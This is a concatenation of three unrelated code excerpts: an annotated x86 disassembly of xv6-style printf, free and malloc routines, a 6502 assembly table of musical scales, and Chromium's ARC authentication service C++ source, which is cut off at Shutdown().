454: e8 50 fe ff ff call 2a9 <putc>
s++;
459: 83 c6 01 add $0x1,%esi
while(*s != 0){
45c: 0f b6 16 movzbl (%esi),%edx
45f: 84 d2 test %dl,%dl
461: 75 ec jne 44f <printf+0x10c>
state = 0;
463: be 00 00 00 00 mov $0x0,%esi
468: e9 02 ff ff ff jmp 36f <printf+0x2c>
46d: 8b 7d 08 mov 0x8(%ebp),%edi
470: eb ea jmp 45c <printf+0x119>
putc(fd, *ap);
472: 8b 7d e4 mov -0x1c(%ebp),%edi
475: 0f be 17 movsbl (%edi),%edx
478: 8b 45 08 mov 0x8(%ebp),%eax
47b: e8 29 fe ff ff call 2a9 <putc>
ap++;
480: 83 c7 04 add $0x4,%edi
483: 89 7d e4 mov %edi,-0x1c(%ebp)
state = 0;
486: be 00 00 00 00 mov $0x0,%esi
48b: e9 df fe ff ff jmp 36f <printf+0x2c>
putc(fd, c);
490: 89 fa mov %edi,%edx
492: 8b 45 08 mov 0x8(%ebp),%eax
495: e8 0f fe ff ff call 2a9 <putc>
state = 0;
49a: be 00 00 00 00 mov $0x0,%esi
49f: e9 cb fe ff ff jmp 36f <printf+0x2c>
}
}
}
4a4: 8d 65 f4 lea -0xc(%ebp),%esp
4a7: 5b pop %ebx
4a8: 5e pop %esi
4a9: 5f pop %edi
4aa: 5d pop %ebp
4ab: c3 ret
000004ac <free>:
static Header base;
static Header *freep;
void
free(void *ap)
{
4ac: 55 push %ebp
4ad: 89 e5 mov %esp,%ebp
4af: 57 push %edi
4b0: 56 push %esi
4b1: 53 push %ebx
4b2: 8b 5d 08 mov 0x8(%ebp),%ebx
Header *bp, *p;
bp = (Header*)ap - 1;
4b5: 8d 4b f8 lea -0x8(%ebx),%ecx
for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr)
4b8: a1 c8 08 00 00 mov 0x8c8,%eax
4bd: eb 02 jmp 4c1 <free+0x15>
4bf: 89 d0 mov %edx,%eax
4c1: 39 c8 cmp %ecx,%eax
4c3: 73 04 jae 4c9 <free+0x1d>
4c5: 39 08 cmp %ecx,(%eax)
4c7: 77 12 ja 4db <free+0x2f>
if(p >= p->s.ptr && (bp > p || bp < p->s.ptr))
4c9: 8b 10 mov (%eax),%edx
4cb: 39 c2 cmp %eax,%edx
4cd: 77 f0 ja 4bf <free+0x13>
4cf: 39 c8 cmp %ecx,%eax
4d1: 72 08 jb 4db <free+0x2f>
4d3: 39 ca cmp %ecx,%edx
4d5: 77 04 ja 4db <free+0x2f>
4d7: 89 d0 mov %edx,%eax
4d9: eb e6 jmp 4c1 <free+0x15>
break;
if(bp + bp->s.size == p->s.ptr){
4db: 8b 73 fc mov -0x4(%ebx),%esi
4de: 8d 3c f1 lea (%ecx,%esi,8),%edi
4e1: 8b 10 mov (%eax),%edx
4e3: 39 d7 cmp %edx,%edi
4e5: 74 19 je 500 <free+0x54>
bp->s.size += p->s.ptr->s.size;
bp->s.ptr = p->s.ptr->s.ptr;
} else
bp->s.ptr = p->s.ptr;
4e7: 89 53 f8 mov %edx,-0x8(%ebx)
if(p + p->s.size == bp){
4ea: 8b 50 04 mov 0x4(%eax),%edx
4ed: 8d 34 d0 lea (%eax,%edx,8),%esi
4f0: 39 ce cmp %ecx,%esi
4f2: 74 1b je 50f <free+0x63>
p->s.size += bp->s.size;
p->s.ptr = bp->s.ptr;
} else
p->s.ptr = bp;
4f4: 89 08 mov %ecx,(%eax)
freep = p;
4f6: a3 c8 08 00 00 mov %eax,0x8c8
}
4fb: 5b pop %ebx
4fc: 5e pop %esi
4fd: 5f pop %edi
4fe: 5d pop %ebp
4ff: c3 ret
bp->s.size += p->s.ptr->s.size;
500: 03 72 04 add 0x4(%edx),%esi
503: 89 73 fc mov %esi,-0x4(%ebx)
bp->s.ptr = p->s.ptr->s.ptr;
506: 8b 10 mov (%eax),%edx
508: 8b 12 mov (%edx),%edx
50a: 89 53 f8 mov %edx,-0x8(%ebx)
50d: eb db jmp 4ea <free+0x3e>
p->s.size += bp->s.size;
50f: 03 53 fc add -0x4(%ebx),%edx
512: 89 50 04 mov %edx,0x4(%eax)
p->s.ptr = bp->s.ptr;
515: 8b 53 f8 mov -0x8(%ebx),%edx
518: 89 10 mov %edx,(%eax)
51a: eb da jmp 4f6 <free+0x4a>
0000051c <morecore>:
static Header*
morecore(uint nu)
{
51c: 55 push %ebp
51d: 89 e5 mov %esp,%ebp
51f: 53 push %ebx
520: 83 ec 04 sub $0x4,%esp
523: 89 c3 mov %eax,%ebx
char *p;
Header *hp;
if(nu < 4096)
525: 3d ff 0f 00 00 cmp $0xfff,%eax
52a: 77 05 ja 531 <morecore+0x15>
nu = 4096;
52c: bb 00 10 00 00 mov $0x1000,%ebx
p = sbrk(nu * sizeof(Header));
531: 8d 04 dd 00 00 00 00 lea 0x0(,%ebx,8),%eax
538: 83 ec 0c sub $0xc,%esp
53b: 50 push %eax
53c: e8 30 fd ff ff call 271 <sbrk>
if(p == (char*)-1)
541: 83 c4 10 add $0x10,%esp
544: 83 f8 ff cmp $0xffffffff,%eax
547: 74 1c je 565 <morecore+0x49>
return 0;
hp = (Header*)p;
hp->s.size = nu;
549: 89 58 04 mov %ebx,0x4(%eax)
free((void*)(hp + 1));
54c: 83 c0 08 add $0x8,%eax
54f: 83 ec 0c sub $0xc,%esp
552: 50 push %eax
553: e8 54 ff ff ff call 4ac <free>
return freep;
558: a1 c8 08 00 00 mov 0x8c8,%eax
55d: 83 c4 10 add $0x10,%esp
}
560: 8b 5d fc mov -0x4(%ebp),%ebx
563: c9 leave
564: c3 ret
return 0;
565: b8 00 00 00 00 mov $0x0,%eax
56a: eb f4 jmp 560 <morecore+0x44>
0000056c <malloc>:
void*
malloc(uint nbytes)
{
56c: 55 push %ebp
56d: 89 e5 mov %esp,%ebp
56f: 53 push %ebx
570: 83 ec 04 sub $0x4,%esp
Header *p, *prevp;
uint nunits;
nunits = (nbytes + sizeof(Header) - 1)/sizeof(Header) + 1;
573: 8b 45 08 mov 0x8(%ebp),%eax
576: 8d 58 07 lea 0x7(%eax),%ebx
579: c1 eb 03 shr $0x3,%ebx
57c: 83 c3 01 add $0x1,%ebx
if((prevp = freep) == 0){
57f: 8b 0d c8 08 00 00 mov 0x8c8,%ecx
585: 85 c9 test %ecx,%ecx
587: 74 04 je 58d <malloc+0x21>
base.s.ptr = freep = prevp = &base;
base.s.size = 0;
}
for(p = prevp->s.ptr; ; prevp = p, p = p->s.ptr){
589: 8b 01 mov (%ecx),%eax
58b: eb 4d jmp 5da <malloc+0x6e>
base.s.ptr = freep = prevp = &base;
58d: c7 05 c8 08 00 00 cc movl $0x8cc,0x8c8
594: 08 00 00
597: c7 05 cc 08 00 00 cc movl $0x8cc,0x8cc
59e: 08 00 00
base.s.size = 0;
5a1: c7 05 d0 08 00 00 00 movl $0x0,0x8d0
5a8: 00 00 00
base.s.ptr = freep = prevp = &base;
5ab: b9 cc 08 00 00 mov $0x8cc,%ecx
5b0: eb d7 jmp 589 <malloc+0x1d>
if(p->s.size >= nunits){
if(p->s.size == nunits)
5b2: 39 da cmp %ebx,%edx
5b4: 74 1a je 5d0 <malloc+0x64>
prevp->s.ptr = p->s.ptr;
else {
p->s.size -= nunits;
5b6: 29 da sub %ebx,%edx
5b8: 89 50 04 mov %edx,0x4(%eax)
p += p->s.size;
5bb: 8d 04 d0 lea (%eax,%edx,8),%eax
p->s.size = nunits;
5be: 89 58 04 mov %ebx,0x4(%eax)
}
freep = prevp;
5c1: 89 0d c8 08 00 00 mov %ecx,0x8c8
return (void*)(p + 1);
5c7: 83 c0 08 add $0x8,%eax
}
if(p == freep)
if((p = morecore(nunits)) == 0)
return 0;
}
}
5ca: 83 c4 04 add $0x4,%esp
5cd: 5b pop %ebx
5ce: 5d pop %ebp
5cf: c3 ret
prevp->s.ptr = p->s.ptr;
5d0: 8b 10 mov (%eax),%edx
5d2: 89 11 mov %edx,(%ecx)
5d4: eb eb jmp 5c1 <malloc+0x55>
for(p = prevp->s.ptr; ; prevp = p, p = p->s.ptr){
5d6: 89 c1 mov %eax,%ecx
5d8: 8b 00 mov (%eax),%eax
if(p->s.size >= nunits){
5da: 8b 50 04 mov 0x4(%eax),%edx
5dd: 39 da cmp %ebx,%edx
5df: 73 d1 jae 5b2 <malloc+0x46>
if(p == freep)
5e1: 39 05 c8 08 00 00 cmp %eax,0x8c8
5e7: 75 ed jne 5d6 <malloc+0x6a>
if((p = morecore(nunits)) == 0)
5e9: 89 d8 mov %ebx,%eax
5eb: e8 2c ff ff ff call 51c <morecore>
5f0: 85 c0 test %eax,%eax
5f2: 75 e2 jne 5d6 <malloc+0x6a>
return 0;
5f4: b8 00 00 00 00 mov $0x0,%eax
5f9: eb cf jmp 5ca <malloc+0x5e>
|
;Ionian (major) : R,W,W,H,W,W,W
;Dorian : R,W,H,W,W,W,H
;Phrygian : R,H,W,W,W,H,W
;Lydian : R,W,W,W,H,W,W
;Mixolydian : R,W,W,H,W,W,H
;Aeolian (minor) : R,W,H,W,W,H,W
;Melodic Minor : R,W,H,W,W,W,W
;Harmonic Minor : R,W,H,W,W,H,W+
;Locrian : R,H,W,W,H,W,W
;Whole Tone : R,W,W,W,W,W,W
;Gypsy : R,W,H,W+,H,H,W+
;Pentatonic : R,W,W+,W,W (5)
;Octatonic : R,H,W,H,W,H,W
;Blues : R,W,H,H,H,H,H,W,H,H (10)
scaleTablesLo:
.LOBYTES ionianScale,dorianScale,phrygianScale,lydianScale
.LOBYTES mixolydianScale,aeolianScale,melodicMinorScale,harmonicMinorScale
.LOBYTES locrianScale,wholeTone,pentatonicScale,octatonicScale,gypsyScale
scaleTablesHi:
.HIBYTES ionianScale,dorianScale,phrygianScale,lydianScale
.HIBYTES mixolydianScale,aeolianScale,melodicMinorScale,harmonicMinorScale
.HIBYTES locrianScale,wholeTone,pentatonicScale,octatonicScale,gypsyScale
ionianScale: .BYTE 0,2,4,5,7,9,11
dorianScale: .BYTE 0,2,3,5,7,9,11
phrygianScale: .BYTE 0,1,3,5,7,8,10
lydianScale: .BYTE 0,2,4,6,7,9,11
mixolydianScale: .BYTE 0,2,4,5,7,9,10
aeolianScale: .BYTE 0,2,3,5,7,8,10
melodicMinorScale: .BYTE 0,2,3,5,7,9,11
harmonicMinorScale: .BYTE 0,2,3,5,7,8,11
locrianScale: .BYTE 0,1,3,5,6,8,10
wholeTone: .BYTE 0,2,4,6,8,10,12
pentatonicScale: .BYTE 0,2,5,7,9,12,14
octatonicScale: .BYTE 0,1,3,4,6,7,9
gypsyScale: .BYTE 0,2,3,6,7,8,11
|
// Copyright 2015 The Chromium Authors. All rights reserved.
// Use of this source code is governed by a BSD-style license that can be
// found in the LICENSE file.
#include "chrome/browser/ash/arc/auth/arc_auth_service.h"
#include <utility>
#include <vector>
#include "base/bind.h"
#include "base/command_line.h"
#include "base/memory/singleton.h"
#include "base/strings/utf_string_conversions.h"
#include "base/time/time.h"
#include "chrome/browser/account_manager_facade_factory.h"
#include "chrome/browser/ash/account_manager/account_manager_migrator.h"
#include "chrome/browser/ash/account_manager/account_manager_util.h"
#include "chrome/browser/ash/arc/arc_optin_uma.h"
#include "chrome/browser/ash/arc/arc_util.h"
#include "chrome/browser/ash/arc/auth/arc_background_auth_code_fetcher.h"
#include "chrome/browser/ash/arc/auth/arc_robot_auth_code_fetcher.h"
#include "chrome/browser/ash/arc/policy/arc_policy_util.h"
#include "chrome/browser/ash/arc/session/arc_provisioning_result.h"
#include "chrome/browser/ash/arc/session/arc_session_manager.h"
#include "chrome/browser/ash/login/demo_mode/demo_session.h"
#include "chrome/browser/ash/profiles/profile_helper.h"
#include "chrome/browser/lifetime/application_lifetime.h"
#include "chrome/browser/profiles/profile.h"
#include "chrome/browser/signin/identity_manager_factory.h"
#include "chrome/browser/signin/signin_ui_util.h"
#include "chrome/browser/ui/app_list/arc/arc_data_removal_dialog.h"
#include "chrome/browser/ui/settings_window_manager_chromeos.h"
#include "chrome/browser/ui/webui/settings/chromeos/constants/routes.mojom.h"
#include "chrome/browser/ui/webui/signin/inline_login_dialog_chromeos.h"
#include "chrome/common/webui_url_constants.h"
#include "components/account_manager_core/account_manager_facade.h"
#include "components/arc/arc_browser_context_keyed_service_factory_base.h"
#include "components/arc/arc_features.h"
#include "components/arc/arc_prefs.h"
#include "components/arc/arc_service_manager.h"
#include "components/arc/arc_util.h"
#include "components/arc/session/arc_bridge_service.h"
#include "components/arc/session/arc_supervision_transition.h"
#include "components/prefs/pref_service.h"
#include "components/signin/public/identity_manager/consent_level.h"
#include "components/user_manager/user_manager.h"
#include "content/public/browser/browser_context.h"
#include "content/public/browser/browser_thread.h"
#include "content/public/browser/storage_partition.h"
#include "services/network/public/cpp/shared_url_loader_factory.h"
#include "third_party/abseil-cpp/absl/types/optional.h"
namespace arc {
namespace {
// Singleton factory for ArcAuthService.
class ArcAuthServiceFactory
: public internal::ArcBrowserContextKeyedServiceFactoryBase<
ArcAuthService,
ArcAuthServiceFactory> {
public:
// Factory name used by ArcBrowserContextKeyedServiceFactoryBase.
static constexpr const char* kName = "ArcAuthServiceFactory";
static ArcAuthServiceFactory* GetInstance() {
return base::Singleton<ArcAuthServiceFactory>::get();
}
private:
friend struct base::DefaultSingletonTraits<ArcAuthServiceFactory>;
ArcAuthServiceFactory() { DependsOn(IdentityManagerFactory::GetInstance()); }
~ArcAuthServiceFactory() override = default;
};
mojom::ChromeAccountType GetAccountType(const Profile* profile) {
if (profile->IsChild())
return mojom::ChromeAccountType::CHILD_ACCOUNT;
if (IsActiveDirectoryUserForProfile(profile))
return mojom::ChromeAccountType::ACTIVE_DIRECTORY_ACCOUNT;
auto* demo_session = ash::DemoSession::Get();
if (demo_session && demo_session->started()) {
// Internally, demo mode is implemented as a public session, and should
// generally follow normal robot account provisioning flow. Offline enrolled
// demo mode is an exception, as it is expected to work purely offline, with
// a (fake) robot account not known to auth service - this means that it has
// to go through different, offline provisioning flow.
DCHECK(IsRobotOrOfflineDemoAccountMode());
return demo_session->offline_enrolled()
? mojom::ChromeAccountType::OFFLINE_DEMO_ACCOUNT
: mojom::ChromeAccountType::ROBOT_ACCOUNT;
}
return IsRobotOrOfflineDemoAccountMode()
? mojom::ChromeAccountType::ROBOT_ACCOUNT
: mojom::ChromeAccountType::USER_ACCOUNT;
}
mojom::AccountInfoPtr CreateAccountInfo(bool is_enforced,
const std::string& auth_info,
const std::string& account_name,
mojom::ChromeAccountType account_type,
bool is_managed) {
mojom::AccountInfoPtr account_info = mojom::AccountInfo::New();
account_info->account_name = account_name;
if (account_type == mojom::ChromeAccountType::ACTIVE_DIRECTORY_ACCOUNT) {
account_info->enrollment_token = auth_info;
} else {
if (!is_enforced)
account_info->auth_code = absl::nullopt;
else
account_info->auth_code = auth_info;
}
account_info->account_type = account_type;
account_info->is_managed = is_managed;
return account_info;
}
bool IsPrimaryGaiaAccount(const std::string& gaia_id) {
// |GetPrimaryUser| is fine because ARC is only available on the first
// (Primary) account that participates in multi-signin.
const user_manager::User* user =
user_manager::UserManager::Get()->GetPrimaryUser();
DCHECK(user);
return user->GetAccountId().GetAccountType() == AccountType::GOOGLE &&
user->GetAccountId().GetGaiaId() == gaia_id;
}
bool IsPrimaryOrDeviceLocalAccount(
const signin::IdentityManager* identity_manager,
const std::string& account_name) {
// |GetPrimaryUser| is fine because ARC is only available on the first
// (Primary) account that participates in multi-signin.
const user_manager::User* user =
user_manager::UserManager::Get()->GetPrimaryUser();
DCHECK(user);
// There is no Gaia user for device local accounts, but in this case there is
// always only a primary account.
if (user->IsDeviceLocalAccount())
return true;
const AccountInfo account_info =
identity_manager->FindExtendedAccountInfoByEmailAddress(account_name);
if (account_info.IsEmpty())
return false;
DCHECK(!account_info.gaia.empty());
return IsPrimaryGaiaAccount(account_info.gaia);
}
void TriggerAccountManagerMigrationsIfRequired(Profile* profile) {
if (!ash::IsAccountManagerAvailable(profile))
return;
ash::AccountManagerMigrator* const migrator =
ash::AccountManagerMigratorFactory::GetForBrowserContext(profile);
if (!migrator) {
// Migrator can be null for ephemeral and kiosk sessions. Ignore those cases
// since there are no accounts to be migrated in that case.
return;
}
const absl::optional<ash::AccountMigrationRunner::MigrationResult>
last_migration_run_result = migrator->GetLastMigrationRunResult();
if (!last_migration_run_result)
return;
if (last_migration_run_result->final_status !=
ash::AccountMigrationRunner::Status::kFailure) {
return;
}
if (last_migration_run_result->failed_step_id !=
ash::AccountManagerMigrator::kArcAccountsMigrationId) {
// Migrations failed but not because of ARC. ARC should not try to re-run
// migrations in this case.
return;
}
// Migrations are idempotent and safe to run multiple times. It may have
// happened that ARC migrations timed out at the start of the session. Give
// it a chance to run again.
migrator->Start();
}
// See //components/arc/mojom/auth.mojom RequestPrimaryAccount() for the spec.
// See also go/arc-primary-account.
std::string GetAccountName(Profile* profile) {
switch (GetAccountType(profile)) {
case mojom::ChromeAccountType::USER_ACCOUNT:
case mojom::ChromeAccountType::CHILD_ACCOUNT:
// IdentityManager::GetPrimaryAccountInfo(
// signin::ConsentLevel::kSignin).email might be more appropriate
// here, but this is what we have done historically.
return chromeos::ProfileHelper::Get()
->GetUserByProfile(profile)
->GetDisplayEmail();
case mojom::ChromeAccountType::ROBOT_ACCOUNT:
case mojom::ChromeAccountType::ACTIVE_DIRECTORY_ACCOUNT:
case mojom::ChromeAccountType::OFFLINE_DEMO_ACCOUNT:
return std::string();
case mojom::ChromeAccountType::UNKNOWN:
NOTREACHED();
return std::string();
}
}
void OnFetchPrimaryAccountInfoCompleted(
ArcAuthService::RequestAccountInfoCallback callback,
bool persistent_error,
mojom::ArcAuthCodeStatus status,
mojom::AccountInfoPtr account_info) {
std::move(callback).Run(std::move(status), std::move(account_info),
persistent_error);
}
} // namespace
// static
const char ArcAuthService::kArcServiceName[] = "arc::ArcAuthService";
// static
ArcAuthService* ArcAuthService::GetForBrowserContext(
content::BrowserContext* context) {
return ArcAuthServiceFactory::GetForBrowserContext(context);
}
ArcAuthService::ArcAuthService(content::BrowserContext* browser_context,
ArcBridgeService* arc_bridge_service)
: profile_(Profile::FromBrowserContext(browser_context)),
identity_manager_(IdentityManagerFactory::GetForProfile(profile_)),
arc_bridge_service_(arc_bridge_service),
url_loader_factory_(profile_->GetDefaultStoragePartition()
->GetURLLoaderFactoryForBrowserProcess()) {
arc_bridge_service_->auth()->SetHost(this);
arc_bridge_service_->auth()->AddObserver(this);
ArcSessionManager::Get()->AddObserver(this);
identity_manager_->AddObserver(this);
}
ArcAuthService::~ArcAuthService() {
ArcSessionManager::Get()->RemoveObserver(this);
arc_bridge_service_->auth()->RemoveObserver(this);
arc_bridge_service_->auth()->SetHost(nullptr);
}
void ArcAuthService::GetGoogleAccountsInArc(
GetGoogleAccountsInArcCallback callback) {
DCHECK_CURRENTLY_ON(content::BrowserThread::UI);
DCHECK(pending_get_arc_accounts_callback_.is_null())
<< "Cannot have more than one pending GetGoogleAccountsInArc request";
if (!arc::IsArcProvisioned(profile_)) {
std::move(callback).Run(std::vector<mojom::ArcAccountInfoPtr>());
return;
}
if (!arc_bridge_service_->auth()->IsConnected()) {
pending_get_arc_accounts_callback_ = std::move(callback);
// Will be retried in |OnConnectionReady|.
return;
}
DispatchAccountsInArc(std::move(callback));
}
void ArcAuthService::RequestPrimaryAccount(
RequestPrimaryAccountCallback callback) {
std::move(callback).Run(GetAccountName(profile_), GetAccountType(profile_));
}
void ArcAuthService::OnConnectionReady() {
// |TriggerAccountsPushToArc()| will not be triggered for the first session,
// when ARC has not been provisioned yet. For the first session, an account
// push will be triggered by |OnArcInitialStart()|, after a successful device
// provisioning.
// For the second and subsequent sessions,
// |ArcSessionManager::Get()->IsArcProvisioned()| will be |true|.
if (arc::IsArcProvisioned(profile_)) {
TriggerAccountManagerMigrationsIfRequired(profile_);
TriggerAccountsPushToArc(false /* filter_primary_account */);
}
if (pending_get_arc_accounts_callback_)
DispatchAccountsInArc(std::move(pending_get_arc_accounts_callback_));
// Report main account resolution status for provisioned devices.
if (!IsArcProvisioned(profile_))
return;
auto* instance = ARC_GET_INSTANCE_FOR_METHOD(arc_bridge_service_->auth(),
GetMainAccountResolutionStatus);
if (!instance)
return;
instance->GetMainAccountResolutionStatus(
base::BindOnce(&ArcAuthService::OnMainAccountResolutionStatus,
weak_ptr_factory_.GetWeakPtr()));
}
void ArcAuthService::OnConnectionClosed() {
DCHECK_CURRENTLY_ON(content::BrowserThread::UI);
pending_token_requests_.clear();
}
void ArcAuthService::OnAuthorizationResult(mojom::ArcSignInResultPtr result,
mojom::ArcSignInAccountPtr account) {
ArcProvisioningResult provisioning_result(std::move(result));
if (account->is_initial_signin()) {
// UMA for initial signin is updated from ArcSessionManager.
ArcSessionManager::Get()->OnProvisioningFinished(provisioning_result);
return;
}
// Re-auth shouldn't be triggered for non-Gaia device local accounts.
if (!user_manager::UserManager::Get()->IsLoggedInAsUserWithGaiaAccount()) {
NOTREACHED() << "Shouldn't re-auth for non-Gaia accounts";
return;
}
const ProvisioningStatus status = GetProvisioningStatus(provisioning_result);
if (!account->is_account_name() || !account->get_account_name() ||
account->get_account_name().value().empty() ||
IsPrimaryOrDeviceLocalAccount(identity_manager_,
account->get_account_name().value())) {
// Reauthorization for the Primary Account.
// The check for |!account_name.has_value()| is for backwards compatibility
// with older ARC versions, for which Mojo will set |account_name| to
// empty/null.
UpdateReauthorizationResultUMA(status, profile_);
} else {
UpdateSecondarySigninResultUMA(status);
}
}
void ArcAuthService::ReportMetrics(mojom::MetricsType metrics_type,
int32_t value) {
switch (metrics_type) {
case mojom::MetricsType::NETWORK_WAITING_TIME_MILLISECONDS:
UpdateAuthTiming("Arc.Auth.NetworkWait.TimeDelta",
base::TimeDelta::FromMilliseconds(value), profile_);
break;
case mojom::MetricsType::CHECKIN_ATTEMPTS:
UpdateAuthCheckinAttempts(value, profile_);
break;
case mojom::MetricsType::CHECKIN_TIME_MILLISECONDS:
UpdateAuthTiming("Arc.Auth.Checkin.TimeDelta",
base::TimeDelta::FromMilliseconds(value), profile_);
break;
case mojom::MetricsType::SIGNIN_TIME_MILLISECONDS:
UpdateAuthTiming("Arc.Auth.SignIn.TimeDelta",
base::TimeDelta::FromMilliseconds(value), profile_);
break;
case mojom::MetricsType::ACCOUNT_CHECK_MILLISECONDS:
UpdateAuthTiming("Arc.Auth.AccountCheck.TimeDelta",
base::TimeDelta::FromMilliseconds(value), profile_);
break;
}
}
void ArcAuthService::ReportAccountCheckStatus(
mojom::AccountCheckStatus status) {
UpdateAuthAccountCheckStatus(status, profile_);
}
void ArcAuthService::ReportManagementChangeStatus(
mojom::ManagementChangeStatus status) {
UpdateSupervisionTransitionResultUMA(status);
switch (status) {
case mojom::ManagementChangeStatus::CLOUD_DPC_DISABLED:
case mojom::ManagementChangeStatus::CLOUD_DPC_ALREADY_DISABLED:
case mojom::ManagementChangeStatus::CLOUD_DPC_ENABLED:
case mojom::ManagementChangeStatus::CLOUD_DPC_ALREADY_ENABLED:
profile_->GetPrefs()->SetInteger(
prefs::kArcSupervisionTransition,
static_cast<int>(ArcSupervisionTransition::NO_TRANSITION));
// TODO(brunokim): notify potential observers.
break;
case mojom::ManagementChangeStatus::CLOUD_DPC_DISABLING_FAILED:
case mojom::ManagementChangeStatus::CLOUD_DPC_ENABLING_FAILED:
LOG(ERROR) << "Management transition failed: " << status;
ShowDataRemovalConfirmationDialog(
profile_, base::BindOnce(&ArcAuthService::OnDataRemovalAccepted,
weak_ptr_factory_.GetWeakPtr()));
break;
case mojom::ManagementChangeStatus::INVALID_MANAGEMENT_STATE:
NOTREACHED() << "Invalid status of management transition: " << status;
}
}
void ArcAuthService::RequestPrimaryAccountInfo(
RequestPrimaryAccountInfoCallback callback) {
// This is the provisioning flow.
FetchPrimaryAccountInfo(true /* initial_signin */, std::move(callback));
}
void ArcAuthService::RequestAccountInfo(const std::string& account_name,
RequestAccountInfoCallback callback) {
// This is the post provisioning flow.
// This request could have come for re-authenticating an existing account in
// ARC, or for signing in a new Secondary Account.
// Check if |account_name| points to a Secondary Account.
if (!IsPrimaryOrDeviceLocalAccount(identity_manager_, account_name)) {
FetchSecondaryAccountInfo(account_name, std::move(callback));
return;
}
// TODO(solovey): Check secondary account ARC sign-in statistics and send
// |persistent_error| == true for primary account for cases when refresh token
// has persistent error.
FetchPrimaryAccountInfo(
false /* initial_signin */,
base::BindOnce(&OnFetchPrimaryAccountInfoCompleted, std::move(callback),
false /* persistent_error */));
}
void ArcAuthService::FetchPrimaryAccountInfo(
bool initial_signin,
RequestPrimaryAccountInfoCallback callback) {
const mojom::ChromeAccountType account_type = GetAccountType(profile_);
if (IsArcOptInVerificationDisabled()) {
std::move(callback).Run(
mojom::ArcAuthCodeStatus::SUCCESS,
CreateAccountInfo(false /* is_enforced */,
std::string() /* auth_info */,
std::string() /* auth_name */, account_type,
policy_util::IsAccountManaged(profile_)));
return;
}
if (IsActiveDirectoryUserForProfile(profile_)) {
// For Active Directory enrolled devices, we get an enrollment token for a
// managed Google Play account from DMServer.
auto enrollment_token_fetcher =
std::make_unique<ArcActiveDirectoryEnrollmentTokenFetcher>(
ArcSessionManager::Get()->support_host());
// Add the request to |pending_token_requests_| first, before starting a
// token fetch. In case the callback is called immediately, we do not want
// to add an already completed request to |pending_token_requests_|.
auto* enrollment_token_fetcher_ptr = enrollment_token_fetcher.get();
pending_token_requests_.emplace_back(std::move(enrollment_token_fetcher));
enrollment_token_fetcher_ptr->Fetch(
base::BindOnce(&ArcAuthService::OnActiveDirectoryEnrollmentTokenFetched,
weak_ptr_factory_.GetWeakPtr(),
enrollment_token_fetcher_ptr, std::move(callback)));
return;
}
if (account_type == mojom::ChromeAccountType::OFFLINE_DEMO_ACCOUNT) {
// Skip account auth code fetch for offline enrolled demo mode.
std::move(callback).Run(
mojom::ArcAuthCodeStatus::SUCCESS,
CreateAccountInfo(true /* is_enforced */, std::string() /* auth_info */,
std::string() /* auth_name */, account_type,
true /* is_managed */));
return;
}
// For non-AD enrolled devices an auth code is fetched.
std::unique_ptr<ArcAuthCodeFetcher> auth_code_fetcher;
if (account_type == mojom::ChromeAccountType::ROBOT_ACCOUNT) {
// For robot accounts, which are used in kiosk and public session mode
// (which includes online demo sessions), use Robot auth code fetching.
auth_code_fetcher = std::make_unique<ArcRobotAuthCodeFetcher>();
if (url_loader_factory_for_testing_set_) {
static_cast<ArcRobotAuthCodeFetcher*>(auth_code_fetcher.get())
->SetURLLoaderFactoryForTesting(url_loader_factory_);
}
} else {
// Optionally retrieve auth code in silent mode. Use the "unconsented"
// primary account because this class doesn't care about browser sync
// consent.
DCHECK(identity_manager_->HasPrimaryAccount(signin::ConsentLevel::kSignin));
auth_code_fetcher = CreateArcBackgroundAuthCodeFetcher(
identity_manager_->GetPrimaryAccountId(signin::ConsentLevel::kSignin),
initial_signin);
}
// Add the request to |pending_token_requests_| first, before starting a token
// fetch. In case the callback is called immediately, we do not want to add an
// already completed request to |pending_token_requests_|.
auto* auth_code_fetcher_ptr = auth_code_fetcher.get();
pending_token_requests_.emplace_back(std::move(auth_code_fetcher));
auth_code_fetcher_ptr->Fetch(
base::BindOnce(&ArcAuthService::OnPrimaryAccountAuthCodeFetched,
weak_ptr_factory_.GetWeakPtr(), auth_code_fetcher_ptr,
std::move(callback)));
}
void ArcAuthService::IsAccountManagerAvailable(
IsAccountManagerAvailableCallback callback) {
std::move(callback).Run(ash::IsAccountManagerAvailable(profile_));
}
void ArcAuthService::HandleAddAccountRequest() {
DCHECK(ash::IsAccountManagerAvailable(profile_));
::GetAccountManagerFacade(profile_->GetPath().value())
->ShowAddAccountDialog(
account_manager::AccountManagerFacade::AccountAdditionSource::kArc);
}
void ArcAuthService::HandleRemoveAccountRequest(const std::string& email) {
DCHECK(ash::IsAccountManagerAvailable(profile_));
chrome::SettingsWindowManager::GetInstance()->ShowOSSettings(
profile_, chromeos::settings::mojom::kMyAccountsSubpagePath);
}
void ArcAuthService::HandleUpdateCredentialsRequest(const std::string& email) {
DCHECK(ash::IsAccountManagerAvailable(profile_));
::GetAccountManagerFacade(profile_->GetPath().value())
->ShowReauthAccountDialog(
account_manager::AccountManagerFacade::AccountAdditionSource::kArc,
email);
}
void ArcAuthService::OnRefreshTokenUpdatedForAccount(
const CoreAccountInfo& account_info) {
// TODO(sinhak): Identity Manager is specific to a Profile. Move this to a
// proper Profile independent entity once we have that.
DCHECK_CURRENTLY_ON(content::BrowserThread::UI);
if (!ash::IsAccountManagerAvailable(profile_))
return;
// Ignore the update if ARC has not been provisioned yet.
if (!arc::IsArcProvisioned(profile_))
return;
if (identity_manager_->HasAccountWithRefreshTokenInPersistentErrorState(
account_info.account_id)) {
VLOG(1) << "Ignoring account update due to lack of a valid token: "
<< account_info.email;
return;
}
auto* instance = ARC_GET_INSTANCE_FOR_METHOD(arc_bridge_service_->auth(),
OnAccountUpdated);
if (!instance)
return;
const std::string account_name = account_info.email;
DCHECK(!account_name.empty());
instance->OnAccountUpdated(account_name, mojom::AccountUpdateType::UPSERT);
}
void ArcAuthService::OnExtendedAccountInfoRemoved(
const AccountInfo& account_info) {
DCHECK_CURRENTLY_ON(content::BrowserThread::UI);
if (!ash::IsAccountManagerAvailable(profile_))
return;
DCHECK(!IsPrimaryGaiaAccount(account_info.gaia));
// Ignore the update if ARC has not been provisioned yet.
if (!arc::IsArcProvisioned(profile_))
return;
auto* instance = ARC_GET_INSTANCE_FOR_METHOD(arc_bridge_service_->auth(),
OnAccountUpdated);
if (!instance)
return;
DCHECK(!account_info.email.empty());
instance->OnAccountUpdated(account_info.email,
mojom::AccountUpdateType::REMOVAL);
}
void ArcAuthService::OnArcInitialStart() {
TriggerAccountsPushToArc(true /* filter_primary_account */);
}
void ArcAuthService::Shutdown() {
